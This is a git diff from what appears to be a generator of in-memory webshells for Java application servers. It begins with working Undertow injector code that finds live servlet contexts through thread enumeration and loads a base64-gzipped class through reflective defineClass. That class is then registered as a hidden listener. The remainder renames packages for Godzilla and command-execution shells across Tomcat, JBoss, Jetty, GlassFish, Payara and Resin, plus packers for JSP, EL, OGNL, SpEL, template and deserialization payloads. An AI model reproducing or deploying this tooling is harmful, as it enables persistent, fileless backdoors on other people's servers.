invokeMethod(Thread.class, "getThreads"); - for (Thread thread : threads) { - try { - Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); - Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); - if (servletContext != null) { - contexts.add(servletContext); - } - } catch (Exception ignored) { - } - } - return contexts; - } - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return listener; - } - - public void addListener(Object context, Object listener) { - try { - if (isInjected(context, listener.getClass().getName())) { - return; - } - Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); - Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); - Object deploymentImpl = getFV(context, "deployment"); - Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); - Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); - Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); - invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); - } catch (Throwable e) { - e.printStackTrace(); - } - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); - if (allListeners != null) { - for (Object allListener : allListeners) { - Class listener = (Class) getFV(getFV(allListener, "listenerInfo"), "listenerClass"); - if (listener != null) { - if (listener.getName().contains(evilClassName)) { - return true; - } - } - } - } - return false; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index ca11d132..8666d9a7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.*; import org.apache.commons.lang3.tuple.Pair; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java rename to generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java index 981a1e09..5b068458 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java similarity index 72% rename from generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index ef500023..f8763f12 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -1,17 +1,16 @@ -package com.reajason.javaweb.memsell.glassfish; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.glassfish.command.CommandFilter; -import com.reajason.javaweb.memsell.glassfish.command.CommandListener; -import com.reajason.javaweb.memsell.glassfish.command.CommandValve; -import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaValve; -import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector; -import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector; -import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memshell.glassfish.command.CommandListener; +import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; +import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java rename to generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java index 814953c6..1fffdbb1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java rename to generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java index 333e34c3..69a4c468 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java similarity index 67% rename from generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java index 05cbb800..3c5be280 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java @@ -1,14 +1,13 @@ -package com.reajason.javaweb.memsell.jboss; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.jboss.command.CommandFilter; -import com.reajason.javaweb.memsell.jboss.command.CommandListener; -import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.jboss.injector.JbossFilterInjector; -import com.reajason.javaweb.memsell.jboss.injector.JbossListenerInjector; +import com.reajason.javaweb.memshell.jboss.command.CommandListener; +import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; +import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java similarity index 73% rename from generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index 1b8e118c..767d023a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -1,13 +1,12 @@ -package com.reajason.javaweb.memsell.jetty; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.jetty.command.CommandFilter; -import com.reajason.javaweb.memsell.jetty.command.CommandListener; -import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector; -import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector; +import com.reajason.javaweb.memshell.jetty.command.CommandListener; +import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; +import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java similarity index 73% rename from generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java index 01167ce7..d5b9f911 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java @@ -1,17 +1,16 @@ -package com.reajason.javaweb.memsell.payara; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.payara.command.CommandFilter; -import com.reajason.javaweb.memsell.payara.command.CommandListener; -import com.reajason.javaweb.memsell.payara.command.CommandValve; -import com.reajason.javaweb.memsell.payara.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.payara.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.payara.godzilla.GodzillaValve; -import com.reajason.javaweb.memsell.payara.injector.PayaraFilterInjector; -import com.reajason.javaweb.memsell.payara.injector.PayaraListenerInjector; -import com.reajason.javaweb.memsell.payara.injector.PayaraValveInjector; +import com.reajason.javaweb.memshell.payara.command.CommandListener; +import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector; +import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector; +import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java similarity index 67% rename from generator/src/main/java/com/reajason/javaweb/memsell/resin/ResinShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java index aea7f17e..2da3ac99 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java @@ -1,14 +1,13 @@ -package com.reajason.javaweb.memsell.resin; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.resin.command.CommandFilter; -import com.reajason.javaweb.memsell.resin.command.CommandListener; -import com.reajason.javaweb.memsell.resin.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.resin.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.resin.injector.ResinFilterInjector; -import com.reajason.javaweb.memsell.resin.injector.ResinListenerInjector; +import com.reajason.javaweb.memshell.resin.command.CommandListener; +import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; +import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java similarity index 71% rename from generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index 6a94daf1..7ffd1882 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -1,13 +1,16 @@ -package com.reajason.javaweb.memsell.tomcat; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.tomcat.command.*; -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaServlet; -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; -import com.reajason.javaweb.memsell.tomcat.injector.*; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.injector.*; import org.apache.commons.lang3.tuple.Pair; import java.util.List; @@ -20,7 +23,7 @@ import static com.reajason.javaweb.config.Constants.*; * @since 2024/11/22 */ public class TomcatShell extends AbstractShell { - public static final String WEBSOCKET = "Websocket"; + public static final String WEBSOCKET = "WebSocket"; public static final String VALVE = "Valve"; public static final String JAKARTA_VALVE = "JakartaValve"; public static final String UPGRADE = "Upgrade"; @@ -41,7 +44,8 @@ public class TomcatShell extends AbstractShell { LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class) + JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), + WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class) ); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java similarity index 67% rename from generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java index 09823709..30627a38 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java @@ -1,14 +1,13 @@ -package com.reajason.javaweb.memsell.undertow; +package com.reajason.javaweb.memshell; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.undertow.command.CommandFilter; -import com.reajason.javaweb.memsell.undertow.command.CommandListener; -import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaFilter; -import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaListener; -import com.reajason.javaweb.memsell.undertow.injector.UndertowFilterInjector; -import com.reajason.javaweb.memsell.undertow.injector.UndertowListenerInjector; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.undertow.command.CommandListener; +import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector; +import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java similarity index 89% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java index af1a28dc..ec0e63ab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import lombok.SneakyThrows; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java similarity index 88% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java index 01375b71..00b31f49 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.codec.binary.Base64; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java index ed85b585..da63c15e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import com.reajason.javaweb.deserialize.DeserializeConfig; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java index fe676a93..490d7415 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java index 6f572191..59815878 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java index a7b5329c..177f1243 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import lombok.SneakyThrows; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OGNLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/OGNLPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java index a1cb3d21..1f3b772a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OGNLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 83967eb2..21f50c4f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import lombok.Getter; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java index ba866f24..31819bb7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import lombok.SneakyThrows; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java index 10ec8b02..dcc00a8d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java index 4638fd3b..27c7dd5a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.io.IOUtils; diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java similarity index 99% rename from generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java rename to generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java index 6866bf4c..8c174a34 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java @@ -1,11 +1,9 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.apache.commons.codec.binary.Base64; import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.*; - /** * @author ReaJason * @since 2024/12/19 diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java similarity index 93% rename from generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java rename to generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java index 7a311d77..c58d7ebf 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.junit.jupiter.api.Test; diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java similarity index 93% rename from generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java rename to generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java index 18c143e7..9d664af5 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.junit.jupiter.api.Test; diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java similarity index 93% rename from generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java rename to generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java index 1ec22f6b..5147b38c 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.packer; +package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.config.GenerateResult; import org.junit.jupiter.api.Test; diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java similarity index 89% rename from generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java rename to generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 29af1203..528d18f4 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,8 +1,9 @@ -package com.reajason.javaweb.memsell.tomcat.command; +package com.reajason.javaweb.memshell.tomcat.command; import com.reajason.javaweb.config.CommandConfig; import com.reajason.javaweb.config.ShellConfig; -import com.reajason.javaweb.memsell.CommandGenerator; +import com.reajason.javaweb.memshell.CommandGenerator; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.util.ClassUtils; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java similarity index 91% rename from generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java rename to 